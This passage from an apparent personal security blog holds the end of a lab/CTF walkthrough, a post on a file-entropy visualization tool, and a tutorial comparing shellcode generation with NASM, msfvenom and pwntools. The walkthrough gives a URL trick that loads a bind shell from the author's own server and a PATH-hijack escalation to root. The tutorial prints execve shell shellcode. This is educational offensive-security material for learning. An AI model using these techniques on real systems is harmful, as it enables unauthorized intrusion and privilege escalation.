            // then good luck :) But.. You have the source anyway, right? :) 
     if(strcmp($hashedkey, $secret) == 0) {
                $secretok = true;
            } else {
                die("Sorry... Authentication failed. Key was invalid.");
     }

        } else {
            die("Authentication invalid. You might need a key.");
        }
    }

    // Just to make sure the above key check was passed.
    if(!$secretok) {
        die("Something went wrong with the authentication process");
    }

    // Now load the contents of the file we are reading, and parse
    // the super awesomeness of its contents!
    $f = file_get_contents($url);

    $text = preg_split("/##text##/s", $f);

    if(isset($text['1']) && strlen($text['1']) > 0) {
        print($text['1']);
    }

    print "<br /><br />";

    $php = preg_split("/##php##/s", $f);

    if(isset($php['1']) && strlen($php['1']) > 0) { 
        eval($php['1']);
        // "If Eval is the answer, you're asking the wrong question!" - SG
        // It hurts me to write insecure code like this, but it is in the
        // name of education, and FUN, so I'll let it slide this time.
    }
}
?>

We can see from the code that we need some sort of a key of length 47, which is not bruteforcable. I felt a bit stuck over here. I found another way in. My thought process was, how do you trick the regex that the host is http://127.0.0.1, but the real host is different, I tried:
http://192.168.1.111/c2444910794e037ebd8aaf257178c90b/?p=reader&url=http://127.0.0.1:asd@192.168.1.115:8000/costam.txt

Where 192.168.1.115:8000 was my server which serves costam.txt, we use 127.0.0.1 as username and asd as password, but because the server does not require you to login, it's ignored. That allows us to bypass the key check and load any file from our site we want(later on it turned out that previous flag was the key, which makes me think that this bug was ?not intended?).
costam.txt - bind shell
Now we got low privs shell, we probably need to escalate for the fifth flag.
After looking around, we can find not standard SUID binary at /opt/alicebackup

As we can see from strings, somewhere inside scp /tmp/special bob@alice.home:~ is used, scp does not have specified full path which means that linux will search for the scp in the PATH variable. We can make our own scp, that will be executed instead of the standard one, directory with our binary must be before the directory with real scp.



After doing so, we are root. We can find the flag inside the /root/flag.txt
I really like the difficulty curve of the challenges, it started really simple and was getting harder and harder with each of the challenges, that keeps people motivated to carry on, which is a good thing!
It was a lot of fun and I look forward to doing next parts.

Sunday 19 March 2017

EntropyGrapher - file visualization

Standard
Since I have finally found a bit of free time I was able to develop a project that was on my mind for quite some time now.
The idea was simple, write some piece of code that would let me explore entropy of the contents of a file. I've written a little snippet, that yielded this:
With the help of matplotlib, creating such image is a matter of a few lines in python. I've used some color coding for defined entropy ranges to make the image more readable.
Nevertheless I wasn't really happy with the readability I got. One can't really tell which sections are which, is this even a binary file?
It turned out that calculating and drawing graphs based on entropy tells actually lot less than just straight up drawing a file as it is. So that's exactly what I did!
Here are some examples:

/bin/mkdir

/bin/ls
/lib32/ld-2.23.so

In all of the above we should be able to easily identify code(high entropy) and strings(green).

We can confirm that with circle of colors, as we can see green has a lot of coverage in printable characters range(48-126).

mkdir.png -> first of the images above

.NET dll packed with ConfuserEx 1.0 (we can see similar entropy to the one in the png file, almost random at the beginning)
After unpacking the binary and deobfuscating strings, code lost some entropy, and strings are now in ASCII range(green color)



As you can see those can tell us A LOT more than just entropy graphs, the truth is that sometimes the image can get a bit large, but it's nothing that we can't control.
Creating images is really simple process. We just iterate through the whole file, use each byte as a H input to the HSV color scheme(S=V=1), and output that to the image file with the help of the Pillow python library.
Another thing that I've tried to visualize was output of the movfuscator. Expecting to see some dots, maybe straight lines, which would represent mov instructions with the same opcodes, or very close ones. That's what I was able to find, in addition to that, there were some areas which I couldn't really identify:


Full Image
Later I found out what's the purpose of this beautiful mosaic is. Do you know what is it? :)

In the meantime of having fun with this project, I realized that when working with images of sizes like 256x20000 pixels, some of the programs have hard time displaying them. The default Ubuntu image viewer(eog) crashes when trying to display that png. The reason being that it wants to allocate really big amounts of memory to display the image, and ends up not getting the memory it wants from the OS(reported as a bug). Viewnior was able to handle the images properly.

There are some other instances where such big pictures, even when really small in file size, can cause some trouble. Messenger browser crashes on some of them consistently.

Project sources: https://github.com/hub2/EntropyGrapher
Usage:

→ python3 entropy.py -h
usage: entropy.py [-h] [-c CHK_SIZE] [-o OUTPUT] [-e | -i] filename

Simple tool for file visualization

positional arguments:
  filename              name of the file to analyze

optional arguments:
  -h, --help            show this help message and exit
  -c CHK_SIZE, --chk_size CHK_SIZE
  -o OUTPUT, --output OUTPUT
  -e, --entropy
  -i, --image

Saturday 28 January 2017

Shellcode creation - comparison of methods

Standard
In the part 2 of my guide on stack overflow exploitation I mentioned that there are several ways of creating shellcodes. This post is about some of them.

1. NASM

The obvious way of creating shellcodes is writing it in assembly ourselves. To do that, we can use NASM, which is a x86/x86_64 assembler. Obvious drawback is that we cannot write for any other architecture with it(eg. arm64 for android).
In addition to that, we need to know assembly pretty well, fortunately for us, basic shellcode can be really simple, an example would be something along those lines:

shellcode.s
[BITS 64]
main:
    mov rax, 11 ; 11 - execve syscall number
    lea rbx, [rel bash] ; path to binary (thanks to rel our code is not dependent on any hardcoded addresses)
    mov rcx, 0 ; arguments
    mov rdx, 0 ; env
    int 0x80 ; syscall

bash:
db "/bin/bash", 0

We assemble it into object file, entire content of that file is our shellcode.
$ nasm shellcode.s -f bin -o shellcode.o

After that we can load it into python easily.
with open("shellcode.o", "rb") as f:
 ...

Testing our shellcode is also pretty easy, just link and run:
$ ld shellcode.o -o shellcode
$ ./shellcode

This method gives us full control of what you make, so self modifying code or writing raw bytes with db/dd/dq is not a problem. On the other hand, it's much more time consuming and a little trickier than other methods. If you want to learn NASM I recommend starting with their examples of simple programs here.

2. Msfvenom

Another way that I've shown already is to use module of metasploit called msfvenom. Main advantage of this solution is that we don't have to write anything ourselves. We use predefined shellcodes suitable for many platforms and architectures instead. Additional benefits are options like '--bad-chars', where we can blacklist some of the bytes. This can be useful if our shellcode must consists only of ASCII or mustn't contain null bytes. Msfvenom allows for choosing output format, that means we can have it print out code that puts all of the shellcode into python variable.

Command for generating shellcode that execute /bin/bash for x64 linux in python format would look like this:
$ msfvenom -f python -p linux/x64/exec -a x86_64 --platform linux CMD=/bin/bash
No encoder or badchars specified, outputting raw payload
Payload size: 49 bytes
Final size of python file: 246 bytes
buf =  ""
buf += "\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68"
buf += "\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6"
buf += "\x52\xe8\x0a\x00\x00\x00\x2f\x62\x69\x6e\x2f\x62\x61"
buf += "\x73\x68\x00\x56\x57\x48\x89\xe6\x0f\x05"

That's pretty neat! Downside of this solution is that even that there are a lot of payloads to choose from, it can render itself useless when you need a custom one.

3. PWNtools

 Last but definitely not least is pwntools.
pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.
pwntools is a great framework although we will focus only on one aspect of it which is module called shellcraft. This module allows you to write assembly code similar to what we can do with NASM, but using python.
It implies that you don't have to know so much about assembly to make it work. Moreover, there are tools to help you write code faster.
On the highest level we can create shellcodes like with msfvenom, there are predefined C functions as well as whole payloads:

>>> from pwnlib import *
>>> context.context(arch='amd64', os='linux')
>>> asm.asm(shellcraft.amd64.linux.sh())
b'jhH\xb8/bin///sPj;XH\x89\xe71\xf6\x99\x0f\x05'
>>> print(shellcraft.amd64.linux.sh())
    /* push b'/bin///sh\x00' */
    push 0x68
    mov rax, 0x732f2f2f6e69622f
    push rax
   
    /* call execve('rsp', 0, 0) */
    push (SYS_execve) /* 0x3b */
    pop rax
    mov rdi, rsp
    xor esi, esi /* 0 */
    cdq /* rdx=0 */
    syscall

Even though we are able to create payloads very quickly, sometimes much more precision is needed, in that case we can use another part of the module:
>>> shellcode = ""
>>> shellcode += shellcraft.amd64.mov('rax', 11)
>>> shellcode += shellcraft.amd64.push(util.packing.u64(b'/bin/sh\0'))
>>> ....

It's a real Swiss army knife in this matter, look at the documentation for more information.


To sum up, all of those have their use cases, which are mutually a bit disjunctive. pwntools is my favorite, which comes with no surprise as it was created to help you pwn!